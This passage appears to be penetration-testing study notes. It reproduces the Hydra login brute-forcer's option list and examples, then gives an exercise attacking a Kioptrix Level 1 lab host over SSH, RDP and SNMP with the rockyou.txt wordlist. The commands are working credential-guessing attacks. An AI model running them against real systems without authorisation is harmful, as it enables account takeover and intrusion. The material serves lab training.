-I ignore an existing restore file (don't wait 10 seconds)

-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-y disable use of symbols in bruteforce, see above
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)

-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-T TASKS run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME wait time for a response (32) / between connects per thread (0)
-c TIME wait time per login attempt over all threads (enforces -t 1)

-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-O use old SSL v2 and v3
-q do not print messages about connection errors
-U service module usage details
-h more command line options (COMPLETE HELP)

E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
% export HYDRA_PROXY=connect_and_socks_proxylist.txt (up to 64 entries)
% export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
% export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries)

Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

Exercise:

Using rockyou.txt as the wordlist in the folllowing example.

Target :Kioiptrix Level 1

hydra -v -l root -P /usr/share/wordlists/rockyou.txt 10.0.0.13 ssh

For Windows Target:

hydra -v -l root -P /usr/share/wordlists/rockyou.txt 10.0.0.13 rdp

hydra -v -l root -P /usr/share/wordlists/rockyou.txt 10.0.0.13 snmp
